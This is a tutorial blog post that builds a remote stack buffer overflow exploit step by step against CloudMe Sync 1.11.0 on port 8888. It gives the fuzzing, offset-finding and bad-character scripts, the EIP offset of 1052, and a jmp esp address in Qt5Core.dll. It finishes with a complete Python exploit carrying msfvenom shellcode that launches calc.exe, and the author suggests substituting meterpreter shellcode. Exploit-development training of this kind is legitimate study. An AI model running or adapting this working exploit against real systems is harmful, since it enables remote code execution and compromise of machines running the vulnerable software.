I won’t talk about details in here like how the stack work or what are registers. You must have first knowledge in basic assembly language and debugger because I intended this blog for practical purpose, so I don’t wanna make you bored for reading this kind of stuff. If you don’t know yet how the stack work, there are plenty of good resources out there.I recommend to read it first. So Let’s cut to the chase.
What is buffer overflow?
Buffer Overflow may happen when a program writes more data to a buffer (user inputs) beyond it can hold. This will lead to memory corruption which mean our buffer can overwrite some important datas of the program in memory. With this vulnerability, attacker can make the program do things it wasn’t supported to do, like running malicious code. This kind of vulnerabilities may happen in programming languages like C and C++ due to their low-level memory management and lack protection. For other languages like Java has automatic memory management through the Garbage Collector. It takes care of allocating and freeing memory, reducing the risk of buffer overflows.
Think of a login form that ask us to input username and the developer set the username field with a maximum length 10 characters. But if we enter 50 or 100 characters, the extra data migth overwrite into the other parts of the program (EIP),and it will be break the program. So instead of breaking the program, we can control the EIP (Instruction Pointer which hold the memory address of the next execution), we can redirect the execution of our program wherever we want. For example, redirect to our injected malicious shellcode location.
Intro
For the first of this series, we gonna use CloudMe Sync 1.11.0 application to develop our exploit. This application is vulnerable to Remote Buffer Overflow on port 8888.
For the requirements, I used windows 7, Immunity Debugger and python3.
When we open the app, it will running on port 8888 in the background. We can check with netstat -ano command.


Before we get started, we need to attach our app with immunity debugger, so we can see how the application is working in the background and all the instruction. Run cloudme application first, and in immunity debugger, click on File > Attach.

Fuzzing
Now for the first step, we need to identify how many buffer the application can handle, how many buffer we need to overwrite EIP or crash the application.
let’s run our fuzzing script below.
#!/usr/bin/env python3
import socketfrom struct import pack
IP = "127.0.0.1"port = 8888
def fuzz(): try: for i in range(0,10000,500): buffer = b"A"*i print("Fuzzing %s bytes" % i) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, port)) s.send(buffer) s.close() except: print("Could not establish a connection")
fuzz()When we run the script, we can see that the application did not crash.

But it was overwritten in our EIP with 41414141 which is A character in hex, we can check and see in debugger. Now we know the program is vulnerable to buffer overflow.
We need to know the exact location of the buffer to overwrite EIP address. So we can put the address of our shellcode location into EIP and redirect the program to execute it.
Finding the Offset
From above scenario, we used only AAAA which is repetitive data to overflow the program. The problem is that it doesn’t help us to locate the exact point of overflow, as we can’t distinguish one “A” from another in the memory dump.
So to archive this, we will use usr/bin/msf-pattern_create -l 5000 tool to generate non-repeating string from msf.Or we can easily use online generator tool in here

Update our tool with generated pattern.
#!/usr/bin/env python2
import socketfrom struct import pack
IP = "127.0.0.1"port = 8888
def find_offset(): pattern = b"Aa0Aa1Aa2---[snip]---u0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, port)) s.send(pattern) s.close()
find_offset()Now restart debugger and run the script again.

We can see that our ESP is also overflow with our pattern. For now copy EIP address and check with patter_offset from msf.

Controlling EIP
Now we know that we need 1052 buffer to control EIP. Let’s update our code with this offset and put BBBB as EIP to make sure this will actually overwrite EIP or not.
#!/usr/bin/env python3
import socketfrom struct import pack
IP = "127.0.0.1"port = 8888
def find_offset(): junk = b"A" * 1052 eip = b"BBBB"
payload = junk + eip s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, port)) s.send(payload) s.close()
find_offset()Run the script again.

See! our EIP was overwritten by 42424242 which are BBBB in hex.
Now we know we can control EIP address which mean we can redirect the application’s execution wherever we want (not wherever xD, will see).
For pointing EIP to our shellcode’s location, we have to use a method called jump + reg. And our shellcode is overflowing on the stack, so we can use jmp esp instruction.
So, the flow will be like this, we will use jmp esp to jump on this stack which will be our shellcode location and execute it.
Before we finding that instruction, we need to find bad characters.
Finding Bad Characters
What are bad characters actually? When we exploiting buffer overflow, we need to inject a playload like shellcode into the memory of our target program. But certain characters contain in the shellcode may break our payload like 0x00 (null byte) or 0x0A (new lines) which are use to terminate the strings.
When our payload include these characters, it may not working as intended and causing the exploit fail. So how can we find bad characters?
To identify bad characters, we need to send all the possible byte values 0x00 ot 0xFF (like above we sent junk code) by using debugger, then check for any characters that break our payload.
So, stop talking and let’s see the demostration.
We can generate bad characters byte array using !mona bytearray command. It will store two file in current working directory, bytearray.txt and bytearray.bin . You can set mona’s current working directory with this command !mona config -set workingfolder c:\mona


Copy all the bytes and put it into our exploit.
#!/usr/bin/env python3
import socketfrom struct import pack
IP = "127.0.0.1"port = 8888
def find_offset(): bad_chars = bytes("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f""\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f""\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f""\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f""\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f""\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf""\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf""\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
junk = b"A" * 1052 eip = b"BBBB"
payload = junk + eip + bad_chars s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, port)) s.send(payload) s.close()
find_offset()Run the script again.

Now we can see our ESP is overwritten by junk data, value is 0028D470. Right click on it and Follow in Dump to see in the dump window. We can also check manually but in this case we gonna use mona command which is !mona compare -f "C:\Program Files (x86)\Immunity Inc\Immunity Debugger\bytearray.bin" -a 0028D470 for automate task. If we have bad charaters, it will show all in the BadChars field.

In this case, we don’t actually have any bad characters. Great!
Identify JMP Instruction
Let’s continue our exploit. Now we need to identity jump instruction in the modules dll or similar component cloueme.exe which are lack memory protection. We can use !mona modules command to accomplish this.

You can see Qt5Core.dll has False on every protection. We will use this one. So to find our jmp esp instruction inside that dll, we have to use opcode. To accomplish this, we can use mfs moudule called nasm_shell.rb.

Okay the opcode for jmp esp is FF E4. Now let check this opcode is available or not inside our Qt5Core.dll using this command !mona find -s "\xff\xe4" -m Qt5Core.dll

Choose whatever address you want but you should avoid chosing the address that include null bytes 00, otherwise it may break our exploit. I will choose this address 0x68BAD568 in this case.
Okay, now let see what we’ve got here.
- We have
EIP’s offset which is 1052. - We’ve also identified bad characters, which was none in this case.
- Then we’ve found an application’s
dllmodule which doesn’t has any protection. - And we’ve also got the
jmp espinstruction address inside thatdll.
Exploiting
Now it time to generate our shellcode with msfvenom. I will use calc.exe for this scenario.

So our full exploit will be like below.
#!/usr/bin/env python3
import socketfrom struct import pack
IP = "127.0.0.1"port = 8888
def exploit():
# msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' buf = b"" buf += b"\xbe\xaf\x66\xd3\x6c\xdb\xc0\xd9\x74\x24\xf4\x5a" buf += b"\x31\xc9\xb1\x31\x31\x72\x13\x03\x72\x13\x83\xea" buf += b"\x53\x84\x26\x90\x43\xcb\xc9\x69\x93\xac\x40\x8c" buf += b"\xa2\xec\x37\xc4\x94\xdc\x3c\x88\x18\x96\x11\x39" buf += b"\xab\xda\xbd\x4e\x1c\x50\x98\x61\x9d\xc9\xd8\xe0" buf += b"\x1d\x10\x0d\xc3\x1c\xdb\x40\x02\x59\x06\xa8\x56" buf += b"\x32\x4c\x1f\x47\x37\x18\x9c\xec\x0b\x8c\xa4\x11" buf += b"\xdb\xaf\x85\x87\x50\xf6\x05\x29\xb5\x82\x0f\x31" buf += b"\xda\xaf\xc6\xca\x28\x5b\xd9\x1a\x61\xa4\x76\x63" buf += b"\x4e\x57\x86\xa3\x68\x88\xfd\xdd\x8b\x35\x06\x1a" buf += b"\xf6\xe1\x83\xb9\x50\x61\x33\x66\x61\xa6\xa2\xed" buf += b"\x6d\x03\xa0\xaa\x71\x92\x65\xc1\x8d\x1f\x88\x06" buf += b"\x04\x5b\xaf\x82\x4d\x3f\xce\x93\x2b\xee\xef\xc4" buf += b"\x94\x4f\x4a\x8e\x38\x9b\xe7\xcd\x56\x5a\x75\x68" buf += b"\x14\x5c\x85\x73\x08\x35\xb4\xf8\xc7\x42\x49\x2b" buf += b"\xac\xbd\x03\x76\x84\x55\xca\xe2\x95\x3b\xed\xd8" buf += b"\xd9\x45\x6e\xe9\xa1\xb1\x6e\x98\xa4\xfe\x28\x70" buf += b"\xd4\x6f\xdd\x76\x4b\x8f\xf4\x14\x0a\x03\x94\xf4" buf += b"\xa9\xa3\x3f\x09"
junk = b"A" * 1052 # offset eip = pack('<L',0x68BAD568) # jmp esp address nop = b"\x90" * 32 # nop
payload = junk + eip + nop + buf s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, port)) s.send(payload) s.close()
exploit()You may noticted, NOP in this code.NOP (No Operation) instruction tells the processor to do nothing. It’s like a placeholder in code, where no action is required, but the program continues to run.
So why do we need this? If the program’s execution jumps to any of the NOPs, it will “slide” down the sled until it hits the shellcode and executes it. This makes our exploit more likely to work, even if the return address isn’t perfectly accurate.
Without a NOP sled, you would have to pinpoint the exact starting address of the shellcode, which is hard and unreliable for our exploit.
If we run this, it will pop up calculator. That’s it. You can test with your own meterpreter shellcode.
